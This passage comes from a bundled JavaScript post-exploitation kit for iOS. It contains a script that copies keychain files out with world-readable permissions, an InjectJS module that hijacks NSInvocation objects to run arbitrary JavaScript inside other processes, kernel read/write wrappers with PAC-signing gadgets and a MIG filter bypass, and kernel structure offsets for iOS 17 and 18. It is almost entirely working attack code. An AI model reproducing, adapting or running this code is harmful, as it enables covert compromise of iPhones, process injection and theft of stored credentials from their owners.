-1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\ntry {\n\tlet successCount = 0;\n\tlet failCount = 0;\n\t\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\t\t\n\t\t\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\tsuccessCount++;\n\t\t} else {\n\t\t\tfailCount++;\n\t\t}\n\t}\n\t\n\t\n} catch (e) {\n}\n\n\n"); /***/ }), /***/ "./src/InjectJS.js": /*!*************************!*\ !*** ./src/InjectJS.js ***! \*************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ InjectJS) /* harmony export */ }); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); const TAG = "INJECTJS"; const RTLD_LAZY = 0x1; const RTLD_DEFAULT = 0xfffffffffffffffen; class InjectJS { task; #target; #injectCode; #migFilterBypass; #invokingAddr; #JSContextClass; #NSMethodSignatureClass; #NSInvocationClass; #invokeUsingIMPSel; constructor(target, injectCode, migFilterBypass=null) { this.#target = target; this.#injectCode = injectCode; this.#migFilterBypass = migFilterBypass; this.#invokingAddr = this.#findInvoking(); this.#JSContextClass = Native.callSymbol("objc_getClass", "JSContext"); this.#NSMethodSignatureClass = Native.callSymbol("objc_getClass", "NSMethodSignature"); this.#NSInvocationClass = Native.callSymbol("objc_getClass", "NSInvocation"); this.#invokeUsingIMPSel = Native.callSymbol("sel_registerName", "invokeUsingIMP:"); if (!this.#invokingAddr) console.log(TAG, "Invoking not found!"); } inject(agentPid=0) { if (!this.#invokingAddr) return false; if (typeof(this.#target) == "string") { console.log(TAG, `Start injecting JS script into ${this.#target}`); this.task = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__["default"](this.#target, this.#migFilterBypass); if (!this.task.success()) { console.log(TAG, "Unable to inject into: " + this.#target); return false; } } else { console.log(TAG, `Start injecting JS script into existing task: ${this.#target.pid()}`); // Assume target is a RemoteCall object this.task = this.#target; if (!this.task.success()) { console.log(TAG, "Unable to inject into existing task"); return false; } } this.#startWithTask(agentPid); return true; } destroy() { if (this.task && this.task.success()) this.task.destroy(); this.task = null; } #startWithTask(agentPid) { const mem = this.task.mem(); const krwCtx = this.task.krwCtx(); // Sign __invoking__ function address this.#invokingAddr = this.task.pac(this.#invokingAddr, 0); //console.log(TAG, "Signed invoking: " + Utils.hex(this.#invokingAddr)); this.task.writeStr(mem, "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"); const lib = this.task.call(1000, "dlopen", mem, RTLD_LAZY); //console.log(TAG, "lib: " + Utils.hex(lib)); // Create a JSC context and get pointer to exceptionHandler NSBlock const jscontext = this.#callObjcRetain(this.#JSContextClass, "new"); //console.log(TAG, "Remote JSC: " + Utils.hex(jscontext)); const exceptionHandler = this.task.read64(jscontext + 0x28n); //console.log(TAG, "Exception handler: " + Utils.hex(exceptionHandler)); // Register an "invoker()" JS function within our JSC context, having exceptionHandler block as native implementation. // We replace exceptionHandler NSInvocation later in this code. const invokerStr = this.#writeCFStr(mem, "invoker"); this.#callObjc(jscontext, "setObject:forKeyedSubscript:", exceptionHandler, invokerStr); //console.log(TAG, "invokerStr: " + Utils.hex(invokerStr)); // Retrieve JSValue of invoker inside JSC context dict const invoker = this.#callObjc(jscontext, "objectForKeyedSubscript:", invokerStr); //console.log(TAG, "invoker: " + Utils.hex(invoker)); // Get pointer of NSInvocation inside NSBlock const fjval = this.task.read64(invoker + 0x8n); const storval = this.task.read64(fjval + 0x40n); const invokerObj = this.task.read64(storval + 0x10n); //console.log(TAG, "invokerObj: " + Utils.hex(invokerObj)); this.task.writeStr(mem, "QQQQQQQQQQQQQQQ"); const lsignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); this.task.writeStr(mem, "@QQQQQQQQQQQQQQ"); const osignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); // This is an utility NSInvocation object we share with JS to allow objc call with retained return object const oinv = this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", osignature); // This is the final NSInvocation object we use to call the actual target function const inv = this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature); //console.log(TAG, "inv: " + Utils.hex(inv)); // Create a new NSInvocation and replace the NSBlock one with this const jsinv = this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature); //console.log(TAG, "jsinv: " + Utils.hex(jsinv)); const callBuff = this.task.call(100, "calloc", 1, 0x4000); const firstInvokingBuff = callBuff + 0x50n; // callBuff[10] const argsBuff = callBuff + 0x320n; // callBuff[100] const resultBuff = callBuff + 0x640n; // callBuff[200] //console.log(TAG, "callBuff: " + Utils.hex(callBuff)); //console.log(TAG, "firstInvokingBuff: " + Utils.hex(firstInvokingBuff)); //console.log(TAG, "argsBuff: " + Utils.hex(argsBuff)); //console.log(TAG, "resultBuff: " + Utils.hex(resultBuff)); // Share callBuff with JS this.task.writeStr(mem, "nativeCallBuff"); const jsctx = this.#callObjc(jscontext, "JSGlobalContextRef"); const nativeCallBuff = this.task.call(100, "JSObjectMakeArrayBufferWithBytesNoCopy", jsctx, callBuff, 0x4000); const globalObject = this.task.call(100, "JSContextGetGlobalObject", jsctx); const jsName = this.task.call(100, "JSStringCreateWithUTF8CString", mem); this.task.call(100, "JSObjectSetProperty", jsctx, globalObject, jsName, nativeCallBuff); let localCallBuff = new BigUint64Array(33); // Second (final) __invoking__ arguments localCallBuff[0] = 0x41414141n; // this should be overwritten at every function call localCallBuff[1] = resultBuff; // Result buffer localCallBuff[2] = argsBuff; // Arguments buffer localCallBuff[3] = 0x120n; // args buff size. Do not touch! // First __invoking__ arguments localCallBuff[10] = this.#invokingAddr; localCallBuff[11] = resultBuff; localCallBuff[12] = callBuff; localCallBuff[13] = 0xe0n; // Some offsets we export to JS localCallBuff[20] = callBuff; localCallBuff[21] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "dlsym"), 0 ); localCallBuff[22] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "memcpy"), 0 ); localCallBuff[23] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "malloc"), 0 ); localCallBuff[24] = oinv; localCallBuff[25] = jsctx; localCallBuff[26] = true ? 1n : 0; // we pass true if DEBUG is set localCallBuff[27] = 1n; localCallBuff[28] = 0n; localCallBuff[29] = 0n; localCallBuff[30] = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getKernelBase(); let desiredPacGadget = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getPaciaGadget(); // retreiving correct modifier for 18.4 and above if (globalThis.xnuVersion.major == 24 && globalThis.xnuVersion.minor >= 4) { desiredPacGadget = Native.pacia(Native.strip(desiredPacGadget),0n); } localCallBuff[31] = desiredPacGadget; localCallBuff[32] = BigInt(agentPid); //console.log(TAG, "dlsym: " + Utils.hex(localCallBuff[21])); //console.log(TAG, "memcpy: " + Utils.hex(localCallBuff[22])); //console.log(TAG, "malloc: " + Utils.hex(localCallBuff[23])); const nativeLocalBuff = Native.callSymbol("malloc", localCallBuff.byteLength); Native.write(nativeLocalBuff, localCallBuff.buffer); this.task.write(callBuff, nativeLocalBuff, localCallBuff.byteLength); Native.callSymbol("free", nativeLocalBuff); this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff, 0); this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x8n, 1); this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x10n, 2); this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x18n, 3); // This NSInvocation should in turn call the final NSInvocation we created before, // but with fully controlled arguments this.task.write64(mem, this.#invokingAddr); this.#callObjc(jsinv, "setTarget:", inv); this.#callObjc(jsinv, "setSelector:", this.#invokeUsingIMPSel); this.#callObjc(jsinv, "setArgument:atIndex:", mem, 2); // Replace NSInvocation this.task.write64(storval + 0x10n, jsinv); this.task.write64(storval + 0x18n, 0n); //console.log(TAG, "NSInvocation replaced"); // Write loader.js in remote task //const loaderJS = "let buff = new BigUint64Array(this.nativeCallBuff); buff[0] = 0x41414141n; buff[100] = 0x11111111n; invoker();"; console.log(TAG, "JS script length: " + this.#injectCode.length); const scriptMem = this.task.call(100, "calloc", 1, this.#injectCode.length + 1); const scriptStr = this.#writeCFStr(scriptMem, this.#injectCode); this.task.call(100, "free", scriptMem); //console.log(TAG, "scriptStr: " + Utils.hex(scriptStr)); // Check if we write ok // console.log(TAG,"Check if we write ok" ) // const a = Native.callSymbol("malloc", this.#injectCode.length + 1); // const len = this.#callObjc(scriptStr, "length"); // console.log(TAG, len); // const b = this.#callObjc(scriptStr, "UTF8String"); // this.task.read(b, a, this.#injectCode.length + 1); // const c = Native.readString(a, this.#injectCode.length); // console.log(TAG, c); //const loaderStr = this.#writeCFStr(mem, "loader"); //this.#callObjc(jscontext, "setObject:forKeyedSubscript:", scriptStr, loaderStr); //console.log(TAG, "loaderStr: " + Utils.hex(loaderStr)); console.log(TAG, "Starting JS script for target: " + this.#target); //const evaluateStr = this.#writeCFStr(mem, "let buff = new BigUint64Array(this.nativeCallBuff); buff[0] = 0x41414141n; buff[100] = 0x11111111n; invoker();"); //const evaluateStr = this.#writeCFStr(mem, "invoker();"); //const evaluateStr = this.#writeCFStr(mem, "eval(loader);"); //const evaluateStr = this.#writeCFStr(mem, scriptStr); this.#callObjcInBackground(jscontext, "evaluateScript:", scriptStr); //this.#callObjcInBackground(jscontext, "evaluateScript:", scriptStr); //this.#callObjc(jscontext, "evaluateScript:", evaluateStr); // Read data from result //const retVal = this.task.read64(resultBuff); //console.log(TAG, "Result: " + retVal); console.log(TAG, "All done!"); return true; } #findInvoking() { //console.log(TAG, "Find 'invoking()'..."); let startAddr = Native.dlsym("_CF_forwarding_prep_0"); startAddr = startAddr & 0x7fffffffffn; //Chain.strip(startAddr); //console.log(TAG, "startAddr: " + Utils.hex(startAddr)); if (!startAddr) return 0; if (xnuVersion.major == 24 && xnuVersion.minor >= 5) startAddr -= 0x2500n; else startAddr -= 0x4000n; const pattern = new Uint8Array([0x67, 0x1D, 0x40, 0xF9, 0x66, 0x19, 0x40, 0xF9, 0x65, 0x15, 0x40, 0xF9, 0x64, 0x11, 0x40, 0xF9]); Native.write(Native.mem, pattern.buffer); let foundAddr = Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16); //console.log(TAG, "foundAddr: " + Utils.hex(foundAddr)); if (!foundAddr) { // special case for iOS 17.4-17.4.1 //console.log(TAG,`Didnt found invoking,trying to find it for special version`); startAddr = Native.dlsym("CFCharacterSetIsCharacterMember"); startAddr = startAddr & 0x7fffffffffn; foundAddr = Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16); //console.log(TAG,`foundAddr:${Utils.hex(foundAddr)}`); if (!foundAddr) return 0; } const buff = Native.read(foundAddr - BigInt(Native.memSize), Native.memSize); const buff32 = new Uint32Array(buff); for (let i=buff32.length-1; i>=0; i--) { foundAddr -= 0x4n; if (buff32[i] == 0xd503237f) { const found = foundAddr; console.log(TAG, "Invoking found: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(found)); return found; } } return 0; } #callObjc(obj, selName, ...args) { const sel = Native.callSymbol("sel_registerName", selName); return this.task.call(1000, "objc_msgSend", obj, sel, ...args); } #callObjcRetain(obj, selName, ...args) { const ret = this.#callObjc(obj, selName, ...args); this.#callObjc(ret, "retain"); return ret; } #callObjcInBackground(obj, selName, ...args) { const performSelectorInBackground = Native.callSymbol("sel_registerName", "performSelectorInBackground:withObject:"); const sel = Native.callSymbol("sel_registerName", selName); return this.task.call(1000, "objc_msgSend", obj, performSelectorInBackground, sel, ...args); } #writeCFStr(dst, str) { const kCFStringEncodingUTF8 = 0x08000100; this.task.writeStr(dst, str); return this.task.call(100, "CFStringCreateWithCString", 0, dst, kCFStringEncodingUTF8); } #printClass(obj) { const cl = this.#callObjc(obj, "class"); const desc = this.#callObjc(cl, "description"); const str = this.#callObjc(desc, "UTF8String"); this.task.read(str, Native.mem, 32); const classDesc = Native.readString(Native.mem); console.log(TAG, "class: " + classDesc); } } /***/ }), /***/ "./src/libs/Chain/Chain.js": /*!*********************************!*\ !*** ./src/libs/Chain/Chain.js ***! \*********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Chain) /* harmony export */ }); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); const TAG = "CHAIN" class Chain { static #driver; static #mutex; static init(driver, mutex=null) { this.#driver = driver; this.#mutex = mutex; } static destroy() { this.#driver.destroy(); } static runPE() { return this.#driver.runPE(); } static getKernelBase() { return this.#driver.getKernelBase(); } static getSelfTaskAddr() { return this.#driver.getSelfTaskAddr(); } static read(srcAddr, dst, len) { this.#mutexLock(); let ret = this.#driver.read(srcAddr, dst, len); this.#mutexUnlock(); return ret; } static write(dst, src, len) { this.#mutexLock(); let ret = this.#driver.write(dst, src, len); this.#mutexUnlock(); return ret; } static readBuff(srcAddr, len) { if (!this.read(srcAddr, Native.mem, len)) return false; return Native.read(Native.mem, len); } static read8(src) { this.read(src, Native.mem, 1); return Native.read8(Native.mem); } static read16(src) { this.read(src, Native.mem, 2); return Native.read16(Native.mem); } static read32(src) { this.read(src, Native.mem, 4); return Native.read32(Native.mem); } static read64(src) { this.read(src, Native.mem, 8); return Native.read64(Native.mem); } static write8(dst, value) { Native.write8(Native.mem, value); this.write(dst, Native.mem, 1); } static write16(dst, value) { Native.write16(Native.mem, value); this.write(dst, Native.mem, 2); } static write32(dst, value) { Native.write32(Native.mem, value); this.write(dst, Native.mem, 4); } static write64(dst, value) { Native.write64(Native.mem, value); this.write(dst, Native.mem, 8); } static offsets() { return this.#driver.offsets(); } static strip(val) { return this.#driver.strip(val); } static writeZoneElement(dstAddr,src,len) { return this.#driver.writeZoneElement(dstAddr, src, len); } static getPaciaGadget() { return this.#driver.getPaciaGadget(); } static getClearPaciaGadget() { return this.#driver.getClearPaciaGadget(); } static transferRW() { let rwCtx = this.#driver.transferRW(); let controlSocket = rwCtx.controlSocket; let rwSocket = rwCtx.rwSocket; console.log(TAG, "controlSocket: " + controlSocket); console.log(TAG, "rwSocket: " + rwSocket); let portPtr = Native.mem; Native.callSymbol("fileport_makeport", controlSocket, portPtr); let controlPort = Native.read32(portPtr); Native.callSymbol("fileport_makeport", rwSocket, portPtr); let rwPort = Native.read32(portPtr); return { controlPort: controlPort, rwPort: rwPort, controlSocket: controlSocket, rwSocket: rwSocket }; } static threadSpawn(scriptCFString, threadMem) { this.#driver.threadSpawn(scriptCFString, threadMem); } static testKRW() { console.log(TAG, "Testing KRW"); console.log(TAG, "- kernelBase: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getKernelBase())); console.log(TAG, "- PACIA gadget: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getPaciaGadget())); console.log(TAG, "- Read kernel magic (4 bytes)"); let buff = this.readBuff(this.getKernelBase(), 4); if (!buff) { console.log(TAG, "kernel RW not working!"); return false; } let buff32 = new Uint32Array(buff); console.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(buff32[0])}`); if (buff32[0] != 0xfeedfacf) { console.log(TAG, "Invalid magic!"); return false; } return true; } static #mutexLock() { if (this.#mutex) Native.callSymbol("pthread_mutex_lock", this.#mutex); } static #mutexUnlock() { if (this.#mutex) Native.callSymbol("pthread_mutex_unlock", this.#mutex); } } /***/ }), /***/ "./src/libs/Chain/Native.js": /*!**********************************!*\ !*** ./src/libs/Chain/Native.js ***! \**********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Native) /* harmony export */ }); const RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; class Native { // Preallocated memory chunk for general purpose stuff for public use static mem = 0n; static memSize = 0x4000; // Preallocated memory chunk for encoding/decoding of string arguments static #argMem = 0n; // Pointer to next available memory for native argument static #argPtr = 0n; static { this.mem = this.callSymbol("malloc", this.memSize); this.#argMem = this.callSymbol("malloc", 0x1000n); this.#argPtr = this.#argMem; } static write(ptr, buff) { let buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n); this.callSymbol("memcpy", ptr, buffPtr, buff.byteLength); } static write32(ptr, value) { let buffWrite = new ArrayBuffer(4); const view = new DataView(buffWrite); view.setUint32(0, value, true); this.write(ptr, buffWrite); } static read(ptr, length) { let buffRes = new ArrayBuffer(length); let buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n); this.callSymbol("memcpy", buffPtr, ptr, length); return buffRes; } static read8(ptr) { let buff = this.read(ptr, 1); const view = new DataView(buff); return view.getUint8(0); } static read16(ptr) { let buff = this.read(ptr, 2); const view = new DataView(buff); return view.getUint16(0, true); } static read32(ptr) { let buff = this.read(ptr, 4); const view = new DataView(buff); return view.getUint32(0, true); } static read64(ptr) { let buff = this.read(ptr, 8); const view = new DataView(buff); return view.getBigUint64(0, true); } static readPtr(ptr) { return this.read64(ptr); } static readString(ptr, len=1024) { let buff = this.read(ptr, len); return this.bytesToString(buff, false); } static write8(ptr, value) { let buffWrite = new ArrayBuffer(1); const view = new DataView(buffWrite); view.setUint8(0, value); this.write(ptr, buffWrite); } static write16(ptr, value) { let buffWrite = new ArrayBuffer(2); const view = new DataView(buffWrite); view.setUint16(0, value, true); this.write(ptr, buffWrite); } static write32(ptr, value) { let buffWrite = new ArrayBuffer(4); const view = new DataView(buffWrite); view.setUint32(0, value, true); this.write(ptr, buffWrite); } static write64(ptr, value) { let buffWrite = new ArrayBuffer(8); const view = new DataView(buffWrite); view.setBigUint64(0, value, true); this.write(ptr, buffWrite); } static writeString(ptr, str) { //const buff = this.stringToBytes(str, true); //this.write(ptr, buff); this.callSymbol("memcpy", ptr, str, str.length + 1); } static getCString(str) { return get_cstring(str); } static #prepareArg(arg) { if(!arg) arg = 0n; if(typeof(arg) === "string") return get_cstring(arg); return BigInt(arg); } static strip(address) { return address & 0x7fffffffffn; } static pacia(address, modifier) { address = Native.strip(address); //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); let signedAddress = pacia(address, BigInt(modifier)); //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); return signedAddress; } static dlsym(name) { return Native.callSymbol("dlsym", RTLD_DEFAULT, name); } static callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { let funcSymbol = null; if(name === "dlysm") funcSymbol = DLSYM; else funcSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name)); a0 = this.#prepareArg(a0); a1 = this.#prepareArg(a1); a2 = this.#prepareArg(a2); a3 = this.#prepareArg(a3); a4 = this.#prepareArg(a4); a5 = this.#prepareArg(a5); a6 = this.#prepareArg(a6); a7 = this.#prepareArg(a7); a8 = this.#prepareArg(a8); a9 = this.#prepareArg(a9); a10 = this.#prepareArg(a10); a11 = this.#prepareArg(a11); a12 = this.#prepareArg(a12); a13 = this.#prepareArg(a13); a14 = this.#prepareArg(a14); a15 = this.#prepareArg(a15); let chosen_fcall = null; if(typeof fcall_with_pacia !== 'undefined') chosen_fcall = fcall_with_pacia; else chosen_fcall = fcall; const ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15); if (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64); if (ret64 == 0xffffffffffffffffn) return -1; return ret64; } static callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { return Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15); } static bytesToString(bytes, includeNullChar=true) { let bytes8 = new Uint8Array(bytes); let str = ""; for (let i=0; i>= 8n; } return a.buffer; } static gc() { } } // Register global Native class globalThis.Native = Native; /***/ }), /***/ "./src/libs/Chain/OffsetsStruct.js": /*!*****************************************!*\ !*** ./src/libs/Chain/OffsetsStruct.js ***! \*****************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ OffsetsStruct) /* harmony export */ }); const OFFSET_KERNEL_BASE = 0xfffffff007004000n //const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max //const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max const OFFSET_KERNEL_TASK = 0x0n const OFFSET_TASK_MAP = 0x28n const OFFSET_TASK_NEXT = 0x30n const OFFSET_TASK_PREV = 0x38n const OFFSET_TASK_THREADS = 0x58n const OFFSET_TASK_IPC_SPACE = 0x300n const OFFSET_TASK_PROC_RO = 0x3a0n const OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1 const OFFSET_TASK_EXC_GUARD = 0x5d4n const OFFSET_IPC_SPACE_TABLE = 0x20n const OFFSET_IPC_ENTRY_OBJECT = 0x0n const OFFSET_IPC_OBJECT_KOBJECT = 0x48n const OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n const OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n const OFFSET_PROC_PID = 0x60n const OFFSET_PROC_P_COMM = 0x568n const OFFSET_THREAD_OPTIONS = 0x70n const OFFSET_THREAD_KSTACKPTR = 0xf0n const OFFSET_THREAD_ROP_PID = 0x160n const OFFSET_THREAD_JOP_PID = 0x168n const OFFSET_THREAD_GUARD_EXC_CODE = 0x330n const OFFSET_THREAD_TASK_THREADS = 0x370n const OFFSET_THREAD_TRO = 0x380n const OFFSET_THREAD_AST = 0x3a4n const OFFSET_THREAD_MUTEX_DATA = 0x3b0n const OFFSET_THREAD_CTID = 0x430n const OFFSET_TRO_TASK = 0x20n const OFFSET_VM_HDR_RBH_ROOT = 0x38n const OFFSET_VM_RBE_LEFT = 0x0n const OFFSET_VM_RBE_RIGHT = 0x8n const OFFSET_VM_OBJECT_VOU_SIZE = 0x18n const OFFSET_VM_OBJECT_REF_COUNT = 0x28n const OFFSET_VM_NAMED_ENTRY_COPY = 0x10n const OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n const OFFSET_MIG_LOCK = 0x0n; const OFFSET_MIG_SBXMSG = 0x0n; class OffsetsStruct { constructor() { this.baseKernel = OFFSET_KERNEL_BASE; this.kernelTask = OFFSET_KERNEL_TASK; this.T1SZ_BOOT = 17n; this.mapTask = OFFSET_TASK_MAP; this.nextTask = OFFSET_TASK_NEXT; this.prevTask = OFFSET_TASK_PREV; this.threads = OFFSET_TASK_THREADS; this.ipcSpace = OFFSET_TASK_IPC_SPACE; this.procRO = OFFSET_TASK_PROC_RO; this.procSize = OFFSET_TASK_PROC_SIZE; this.excGuard = OFFSET_TASK_EXC_GUARD; this.spaceTable = OFFSET_IPC_SPACE_TABLE; this.entryObject = OFFSET_IPC_ENTRY_OBJECT; this.objectKObject = OFFSET_IPC_OBJECT_KOBJECT; this.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST; this.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS; this.pid = OFFSET_PROC_PID; this.pComm = OFFSET_PROC_P_COMM; this.options = OFFSET_THREAD_OPTIONS; this.kstackptr = OFFSET_THREAD_KSTACKPTR; this.ropPid = OFFSET_THREAD_ROP_PID; this.jopPid = OFFSET_THREAD_JOP_PID; this.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE; this.taskThreads = OFFSET_THREAD_TASK_THREADS; this.tro = OFFSET_THREAD_TRO; this.ast = OFFSET_THREAD_AST; this.mutexData = OFFSET_THREAD_MUTEX_DATA; this.ctid = OFFSET_THREAD_CTID; this.troTask = OFFSET_TRO_TASK; this.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT; this.rbeLeft = OFFSET_VM_RBE_LEFT; this.rbeRight = OFFSET_VM_RBE_RIGHT; this.vouSize = OFFSET_VM_OBJECT_VOU_SIZE; this.refCount = OFFSET_VM_OBJECT_REF_COUNT; this.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY; this.next = OFFSET_VM_NAMED_ENTRY_NEXT; this.migLock = OFFSET_MIG_LOCK; this.migSbxMsg = OFFSET_MIG_SBXMSG; } } /***/ }), /***/ "./src/libs/Driver/Driver.js": /*!***********************************!*\ !*** ./src/libs/Driver/Driver.js ***! \***********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ DriverPostExpl) /* harmony export */ }); /* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ "./src/libs/Driver/Offsets.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); const TAG = "DRIVER-POSTEXPL" class DriverPostExpl { #offsets; #kernelBase; constructor() { this.#offsets = 